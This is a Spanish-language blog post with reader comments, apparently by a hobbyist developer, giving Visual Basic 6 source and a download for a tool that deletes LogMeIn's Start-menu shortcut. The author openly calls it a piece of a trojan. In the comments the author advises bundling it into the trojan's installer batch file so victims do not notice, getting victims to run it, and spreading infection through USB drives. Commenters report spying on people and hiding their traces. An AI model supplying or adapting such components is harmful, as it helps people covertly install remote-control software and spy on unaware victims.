LogMeIn Link Killer

Esta extremadamente pequeña aplicacion, sirve para eliminar el acceso directo de logmein del menu de inicio de windows.

La apliacion es util para el troyano. FUNCIONA en windows XP, Vista, Seven

Este es el codigo:

Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" ( _
ByVal hwndOwner As Long, _
ByVal nFolder As Long, _
pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" ( _
ByVal pidl As Long, _
ByVal pszPath As String) As Long
Private Const MAX_PATH = 260
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type

Private Const CSIDL_STARTMENU = &HB
Private Const CSIDL_PROGRAMS = &H2
Private Const CSIDL_COMMON_STARTMENU = &H16
Private Const CSIDL_COMMON_PROGRAMS = &H17

Private Sub Form_Load()
'Primero vemos si existe el acceso directo
If Dir(GetSpecialfolder(CSIDL_COMMON_PROGRAMS) & "\LogMeIn.lnk", vbNormal) = "" Then
MsgBox "No se encuentra el acceso directo", vbCritical, "Error    ---   Lordblacksuca"
End
End If
'si existe, lo matamos
Call Kill(GetSpecialfolder(CSIDL_COMMON_PROGRAMS) & "\LogMeIn.lnk")
End
End Sub

'-------------------------------------------------------------------------
'FUNCIONES
'-------------------------------------------------------------------------

Private Function GetSpecialfolder(CSIDL As Long) As String
Dim ret As Long, IDL As ITEMIDLIST
ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If ret = NOERROR Then
Path$ = Space$(512)
ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""</div>
<div style="white-space: nowrap;">End Function
LogMeIn guarda el acceso directo en la carpeta comun a todos los usuarios..  es decir AllUsers
Bueno, aca esta la descarga del archivo ejecutable por Rapidshare
Saludos! recuerden, ante cualquier duda, comenten, y si no tienen dudas, bueno, comenten tambien!!.

Diego Sucaria

Software & Hardware Developer, Network Administrator, SysAdmin. Estudiante de Ingeniería en Computación de la Universidad Católica de Córdoba

24 Comments

  1. mamue   •  

    Lordblacksuca que pena mi ignorancia ¿cómo se usa? Soy un poco novato
    Y gracias por responder.

  2. Lordblacksuca   •     Author

    simplemente ejecutas el archivo ejecutable y el acceso directo desaparecera

  3. mamue   •  

    Ya gracias lo coloque en el .bat de logmein y el ase todo ya tengo todo listo y funcionando gracias por todo en otra ocasión te vuelvo a molestar.

  4. Lordblacksuca   •     Author

    buenisimo fantastico…. cualquier cosa que te haga falta me decis.

  5. Ulises21   •  

    Amigo esta muy bueno todo esto, lo unico es que no puedo bajar de rapidshare llevo dos dias intentando, podrias subirlo a Megaupload u otro similar.

    Eres grande en esto men el instalador silencioso me funciona bien solo me falta este ejecutable para borrar rastros.
    Te agradezco mucho tu tiempo y atencion

  6. gioferman   •  

    Lordblacksuca sos GRANDE.
    GRACIAS por tu aporte,
    en noviembre, tenias el link de descarga para hacerlo exe, no lo veo ahora, ayudame q me han robado el portatil y ahora debo hacerlo todo denuevo…

    de antemano altamente agradecido, sos un GENIO!!!
    Jehova te bendiga e ilumine…

    • Lordblacksuca   •     Author

      muchas graias!!!

      para haer exe que cosa? el troyano?

  7. Amy   •  

    Ya gracias lo coloque en el .bat de logmein y el ase todo ya tengo todo listo y funcionando gracias por todo en otra ocasión te vuelvo a molestar.

  8. jorge   •  

    Hey conchales mi pregunta es si este archivo se ejecuta de inmediato cuando la persona recibe el zip o rar por msn ?

    • Lordblacksuca   •     Author

      No, hay que hacer que la victima lo ejecute de alguna forma, la idea, es que este archivo lo incluyas en el instalador del troyano y lo ejecutes con el mismo bat.

  9. jorge   •  

    Lord, entonces la victima recibe un zip y en ese zip viene un exe ? ke me recomiendas ke haga primero ?

  10. Gwko   •  

    Lord me infecto yo mismo no hay problema ?

  11. Gwko   •  

    Lord logre hacer el bat del Kill linker jajajja ya toy espiando genialllllllllllllll

  12. Gwko   •  

    Lord una pregunta ke posibilidades hay que hagas este hack con la version Pro

  13. Lordblacksuca   •     Author

    Si te infectas a ti mismo, no hay problema… para desinstalar el logmein, reemplazas los dll modificados por los originales, luego, lo paras, y te aparece en la lista de agregar o quitar programas en el panel de control.

    En la version pro, no cambia nada, ya que el logmein en si es el mismo, cambia la interfaz web que te ofrece logmein en su pagina.

  14. Gwko   •  

    Lord una pregunta este virus no lo puedes hacer viral ? osea ke cuando metan un pendrive en el infectado se propague a donde vaya el Pen jajaj seria interesante… otra pregunta cuando lo haces con el Team viewer

    • Lordblacksuca   •     Author

      Se puede hacer sin problemas haciendo que se infecten los pendrives con el downloader.
      nunca he usado teamviewer.

  15. lord   •  

    men como puedo hacer una aplicacion como esta pero para eliminar un archivo del escritorio? no tengo conocimiento de vb. Si podria facilitarme el codigo por favor

  16. lord   •  

    Si alguien puede ayudarme a conseguir ese codigo (Para vb; un .exe para eliminar archivos, por ejemplo de mi escritorio) Se lo agradeceria enormemente

    • Lordblacksuca   •     Author

      con esta funcion borras archivos en VB6

      kill “c:\archivo.txt”

  17. lord   •  

    el vb me tira error de Syntaxis. disculpen esq

  18. lord   •  

    el vb me tira error de Syntaxis. disculpen es que se usar el vb. puedes copiar el codigo completo por favor y disculpa mi ignorancia

  19. lord   •  

    alguien que me ayude por favorrrrrrrrrrr! ya hice loq me dijo BLacksuca (gracias men) pero no se elimina el archivo del escritorio con el que hago la prueba.

    Se que es una bobada lo que estoy pidiendo pero NO se usar vb. Alguien que pueda decirme el codigo completo de vb para eliminar un archivo que este en escritorio, o me pase el proyect :s AYUDA! HELP!

Leave a Reply

Your email address will not be published. Required fields are marked *